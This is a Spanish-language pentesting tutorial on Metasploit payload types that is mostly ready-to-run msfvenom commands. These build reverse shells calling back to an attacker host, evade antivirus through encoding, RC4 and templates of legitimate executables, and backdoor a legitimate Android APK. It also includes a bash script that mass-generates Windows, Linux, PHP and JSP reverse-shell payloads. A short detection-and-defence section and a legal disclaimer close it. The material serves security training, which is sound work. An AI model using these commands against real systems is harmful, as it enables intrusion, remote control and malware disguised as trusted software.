Tipos de Payloads en Pentesting
Tipos de Payloads en Pentesting
Section titled “Tipos de Payloads en Pentesting”Introducción
Section titled “Introducción”Los payloads son componentes críticos en pentesting que contienen el código malicioso que se ejecuta en el sistema objetivo después de una explotación exitosa. La elección del tipo de payload correcto puede determinar el éxito o fracaso de un ataque, así como su capacidad de evadir sistemas de detección.
Clasificación Principal: Staged vs Non-Staged
Section titled “Clasificación Principal: Staged vs Non-Staged”Payload Staged (Por Etapas)
Section titled “Payload Staged (Por Etapas)”Un payload staged se divide en múltiples etapas para optimizar la entrega y evasión:
Características:
Section titled “Características:”- Primera etapa (Stager): Código pequeño (~100-500 bytes) que establece comunicación
- Segunda etapa (Stage): Payload completo descargado después de la conexión
- Conexión persistente: Mantiene canal de comunicación activo
- Evasión mejorada: Menor huella inicial en memoria
Ventajas:
Section titled “Ventajas:”# Ejemplo de payload stagedmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe- ✅ Tamaño reducido inicial: Evita restricciones de buffer overflow
- ✅ Evasión de AV: Menor detección por análisis estático
- ✅ Flexibilidad: Puede cargar diferentes stages según necesidad
- ✅ Recuperación: Si falla una etapa, puede reintentar
Desventajas:
Section titled “Desventajas:”- ❌ Dependencia de red: Requiere conexión estable
- ❌ Múltiples conexiones: Más tráfico de red detectable
- ❌ Complejidad: Mayor superficie de ataque
Payload Non-Staged (Monolítico)
Section titled “Payload Non-Staged (Monolítico)”Un payload non-staged contiene toda la funcionalidad en un solo paquete:
Características:
Section titled “Características:”- Código completo: Todo incluido en una sola entidad
- Ejecución inmediata: No requiere descargas adicionales
- Independiente: Funciona sin conexión posterior
Ventajas:
Section titled “Ventajas:”# Ejemplo de payload non-stagedmsfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe- ✅ Simplicidad: Una sola conexión necesaria
- ✅ Confiabilidad: No depende de múltiples etapas
- ✅ Velocidad: Ejecución inmediata
- ✅ Redes restrictivas: Funciona con conectividad limitada
Desventajas:
Section titled “Desventajas:”- ❌ Tamaño grande: Puede exceder límites de buffer
- ❌ Detección fácil: Mayor huella para análisis estático
- ❌ Menos flexible: Funcionalidad fija
Clasificación por Arquitectura
Section titled “Clasificación por Arquitectura”Payloads por Sistema Operativo
Section titled “Payloads por Sistema Operativo”Windows Payloads
Section titled “Windows Payloads”# Meterpreter Windowswindows/meterpreter/reverse_tcp # Stagedwindows/meterpreter_reverse_tcp # Non-staged
# Shell básico Windowswindows/shell/reverse_tcp # Stagedwindows/shell_reverse_tcp # Non-staged
# PowerShellwindows/powershell_reverse_tcp # PowerShell directoLinux Payloads
Section titled “Linux Payloads”# Shell Linuxlinux/x86/shell/reverse_tcp # Staged x86linux/x64/shell/reverse_tcp # Staged x64linux/x86/shell_reverse_tcp # Non-staged x86
# Meterpreter Linuxlinux/x86/meterpreter/reverse_tcp # Stagedlinux/x64/meterpreter_reverse_tcp # Non-stagedMulti-Platform
Section titled “Multi-Platform”# Java (multiplataforma)java/meterpreter/reverse_tcp # Staged Javajava/shell_reverse_tcp # Non-staged Java
# Python (multiplataforma)python/meterpreter/reverse_tcp # Staged Pythonpython/shell_reverse_tcp # Non-staged PythonPayloads por Arquitectura de CPU
Section titled “Payloads por Arquitectura de CPU”x86 (32-bit)
Section titled “x86 (32-bit)”# Optimizados para sistemas de 32 bitslinux/x86/shell_reverse_tcpwindows/shell_reverse_tcpx64 (64-bit)
Section titled “x64 (64-bit)”# Optimizados para sistemas de 64 bitslinux/x64/shell_reverse_tcpwindows/x64/shell_reverse_tcpClasificación por Funcionalidad
Section titled “Clasificación por Funcionalidad”1. Shell Payloads
Section titled “1. Shell Payloads”Command Shell
Section titled “Command Shell”# Shell básico - acceso a línea de comandoswindows/shell_reverse_tcplinux/x86/shell_reverse_tcp
# Uso típiconc -lvp 4444 # Listener# Ejecutar payload en objetivoPowerShell (Windows)
Section titled “PowerShell (Windows)”# Shell PowerShell avanzadowindows/powershell_reverse_tcp
# Características:# - Acceso completo a .NET Framework# - Bypass de restricciones de ejecución# - Capacidades de scripting avanzadas2. Meterpreter Payloads
Section titled “2. Meterpreter Payloads”Meterpreter Básico
Section titled “Meterpreter Básico”# El payload más versátil de Metasploitwindows/meterpreter/reverse_tcplinux/x86/meterpreter/reverse_tcp
# Características principales:# - Inyección en memoria (fileless)# - Extensiones modulares# - Cifrado de comunicaciones# - Migración entre procesosMeterpreter Especializado
Section titled “Meterpreter Especializado”# Androidandroid/meterpreter/reverse_tcp
# PHP (aplicaciones web)php/meterpreter/reverse_tcp
# ASP.NETwindows/meterpreter/reverse_tcp3. Payloads Especializados
Section titled “3. Payloads Especializados”VNC (Acceso Gráfico)
Section titled “VNC (Acceso Gráfico)”# Acceso remoto gráficowindows/vncinject/reverse_tcp
# Uso:# - Control completo del escritorio# - Ideal para sistemas con GUI# - Mayor ancho de banda requeridoPersistence Payloads
Section titled “Persistence Payloads”# Persistencia automáticawindows/meterpreter/reverse_tcp_rc4
# Características:# - Supervivencia a reinicios# - Múltiples métodos de persistencia# - Cifrado RC4 para evasiónClasificación por Protocolo de Comunicación
Section titled “Clasificación por Protocolo de Comunicación”TCP Payloads
Section titled “TCP Payloads”# Conexión TCP directa (más común)windows/meterpreter/reverse_tcplinux/x86/shell/reverse_tcp
# Características:# - Confiable y rápido# - Fácil de configurar# - Detectable por firewallsHTTP/HTTPS Payloads
Section titled “HTTP/HTTPS Payloads”# Comunicación vía HTTPwindows/meterpreter/reverse_httpwindows/meterpreter/reverse_https
# Ventajas:# - Evade firewalls corporativos# - Tráfico aparenta ser legítimo# - Soporte para proxiesDNS Payloads
Section titled “DNS Payloads”# Comunicación vía DNSwindows/meterpreter/reverse_dns_txt
# Características:# - Extremadamente sigiloso# - Funciona en redes muy restrictivas# - Velocidad limitadaTécnicas de Evasión por Tipo de Payload
Section titled “Técnicas de Evasión por Tipo de Payload”Evasión de Antivirus
Section titled “Evasión de Antivirus”Encoding
Section titled “Encoding”# Codificación simplemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -f exe
# Múltiples iteracionesmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exeEncryption
Section titled “Encryption”# Payload cifrado con RC4msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=192.168.1.100 LPORT=4444 RC4PASSWORD=MiClave123 -f exeCustom Templates
Section titled “Custom Templates”# Usar ejecutable legítimo como plantillamsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legitimate.exe -f exeEvasión de Firewall
Section titled “Evasión de Firewall”Puertos Comunes
Section titled “Puertos Comunes”# Usar puertos que típicamente están abiertosmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=80 -f exe # HTTPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 -f exe # HTTPSmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=53 -f exe # DNSBind Payloads para Bypass
Section titled “Bind Payloads para Bypass”# Si reverse está bloqueado, usar bindmsfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exeScripts de Automatización
Section titled “Scripts de Automatización”Generador de Payloads Múltiples
Section titled “Generador de Payloads Múltiples”#!/bin/bashTARGET_IP="192.168.1.100"LPORT="4444"OUTPUT_DIR="./payloads"
# Crear directorio de salidamkdir -p $OUTPUT_DIR
echo "[+] Generando payloads para $TARGET_IP:$LPORT"
# Windows Payloadsecho "[+] Generando payloads Windows..."msfvenom -p windows/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f exe > $OUTPUT_DIR/win_meterpreter_staged.exemsfvenom -p windows/meterpreter_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f exe > $OUTPUT_DIR/win_meterpreter_unstaged.exemsfvenom -p windows/shell_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f exe > $OUTPUT_DIR/win_shell.exe
# Linux Payloadsecho "[+] Generando payloads Linux..."msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f elf > $OUTPUT_DIR/linux_meterpreter_x86msfvenom -p linux/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f elf > $OUTPUT_DIR/linux_shell_x64
# Web Payloadsecho "[+] Generando payloads Web..."msfvenom -p php/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f raw > $OUTPUT_DIR/web_shell.phpmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -f raw > $OUTPUT_DIR/web_shell.jsp
# Payloads con evasiónecho "[+] Generando payloads con evasión..."msfvenom -p windows/meterpreter/reverse_tcp LHOST=$TARGET_IP LPORT=$LPORT -e x86/shikata_ga_nai -i 5 -f exe > $OUTPUT_DIR/win_encoded.exe
echo "[+] Payloads generados en $OUTPUT_DIR"ls -la $OUTPUT_DIRAnalizador de Payloads
Section titled “Analizador de Payloads”#!/usr/bin/env python3import subprocessimport jsonimport sys
def analyze_payload(payload_path): """Analiza un payload y extrae información relevante"""
print(f"[+] Analizando payload: {payload_path}")
# Información básica del archivo try: result = subprocess.run(['file', payload_path], capture_output=True, text=True) print(f"[+] Tipo de archivo: {result.stdout.strip()}") except: print("[-] Error al analizar tipo de archivo")
# Tamaño del archivo try: result = subprocess.run(['ls', '-lh', payload_path], capture_output=True, text=True) size = result.stdout.split()[4] print(f"[+] Tamaño: {size}") except: print("[-] Error al obtener tamaño")
# Strings interesantes try: result = subprocess.run(['strings', payload_path], capture_output=True, text=True) strings = result.stdout.split('\n')
# Buscar IPs y puertos ips = [s for s in strings if '.' in s and len(s.split('.')) == 4] if ips: print(f"[+] IPs encontradas: {ips[:5]}") # Mostrar solo las primeras 5
# Buscar URLs urls = [s for s in strings if 'http' in s.lower()] if urls: print(f"[+] URLs encontradas: {urls[:3]}")
except: print("[-] Error al analizar strings")
if __name__ == "__main__": if len(sys.argv) != 2: print("Uso: python3 payload_analyzer.py <payload_file>") sys.exit(1)
analyze_payload(sys.argv[1])Casos de Uso Específicos
Section titled “Casos de Uso Específicos”1. Pentesting de Aplicaciones Web
Section titled “1. Pentesting de Aplicaciones Web”PHP Web Shell
Section titled “PHP Web Shell”# Payload PHP para aplicaciones webmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw
# Integración en aplicación web vulnerable<?php// Código del payload aquí?>JSP Shell (Java Web)
Section titled “JSP Shell (Java Web)”# Para aplicaciones Java/Tomcatmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw2. Pentesting de Infraestructura
Section titled “2. Pentesting de Infraestructura”Payload para Buffer Overflow
Section titled “Payload para Buffer Overflow”# Payload pequeño para exploits de buffer overflowmsfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f python
# Resultado se integra en exploit:buf = b""buf += b"\xfc\x48\x83\xe4\xf0\xe8..."Payload para Servicios Windows
Section titled “Payload para Servicios Windows”# Payload como servicio Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe-service3. Pentesting Móvil
Section titled “3. Pentesting Móvil”Android APK
Section titled “Android APK”# Payload para Androidmsfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o malicious.apk
# Inyección en APK legítimamsfvenom -x legitimate.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o backdoored.apkDetección y Defensa
Section titled “Detección y Defensa”Indicadores de Compromiso (IoCs)
Section titled “Indicadores de Compromiso (IoCs)”Patrones de Red
Section titled “Patrones de Red”# Conexiones sospechosasnetstat -an | grep :4444netstat -an | grep ESTABLISHED
# Tráfico HTTP sospechoso# - User-Agents inusuales# - Patrones de comunicación regulares# - Conexiones a IPs externas no autorizadasPatrones de Sistema
Section titled “Patrones de Sistema”# Procesos sospechososps aux | grep -E "(meterpreter|payload|shell)"
# Archivos temporalesfind /tmp -name "*.exe" -o -name "*.elf"find /var/tmp -type f -executableContramedidas
Section titled “Contramedidas”Prevención
Section titled “Prevención”- Segmentación de red: Limitar comunicaciones salientes
- Whitelist de aplicaciones: Prevenir ejecución no autorizada
- Análisis de comportamiento: Detectar patrones anómalos
- Sandboxing: Ejecutar código sospechoso en entorno aislado
Detección
Section titled “Detección”- SIEM: Correlación de eventos de seguridad
- EDR: Detección y respuesta en endpoints
- Network monitoring: Análisis de tráfico en tiempo real
- Threat hunting: Búsqueda proactiva de amenazas
Mejores Prácticas
Section titled “Mejores Prácticas”Para Pentesters
Section titled “Para Pentesters”-
Selección de Payload:
- Evaluar restricciones del objetivo
- Considerar capacidades de evasión necesarias
- Balancear funcionalidad vs sigilo
-
Evasión:
- Usar múltiples técnicas de encoding
- Variar puertos y protocolos
- Implementar delays y jitter
-
Persistencia:
- Establecer múltiples canales de comunicación
- Implementar mecanismos de reconexión
- Documentar todos los payloads utilizados
Para Defensores
Section titled “Para Defensores”-
Monitoreo:
- Implementar detección basada en comportamiento
- Monitorear conexiones de red salientes
- Analizar patrones de ejecución de procesos
-
Respuesta:
- Aislar sistemas comprometidos inmediatamente
- Analizar payloads en entorno seguro
- Implementar contramedidas específicas
Recursos Adicionales
Section titled “Recursos Adicionales”Herramientas Complementarias
Section titled “Herramientas Complementarias”- Veil: Framework de evasión de AV
- TheFatRat: Generador de payloads con evasión
- Empire: Framework post-explotación
- Covenant: C2 framework para .NET
Documentación Oficial
Section titled “Documentación Oficial”Laboratorios de Práctica
Section titled “Laboratorios de Práctica”- Metasploitable: Máquina virtual vulnerable
- DVWA: Aplicación web vulnerable
- VulnHub: Colección de VMs vulnerables
- HackTheBox: Plataforma de pentesting
Nota Legal: Esta información es para fines educativos y de pentesting autorizado únicamente. El uso no autorizado de estas técnicas puede ser ilegal y está prohibido.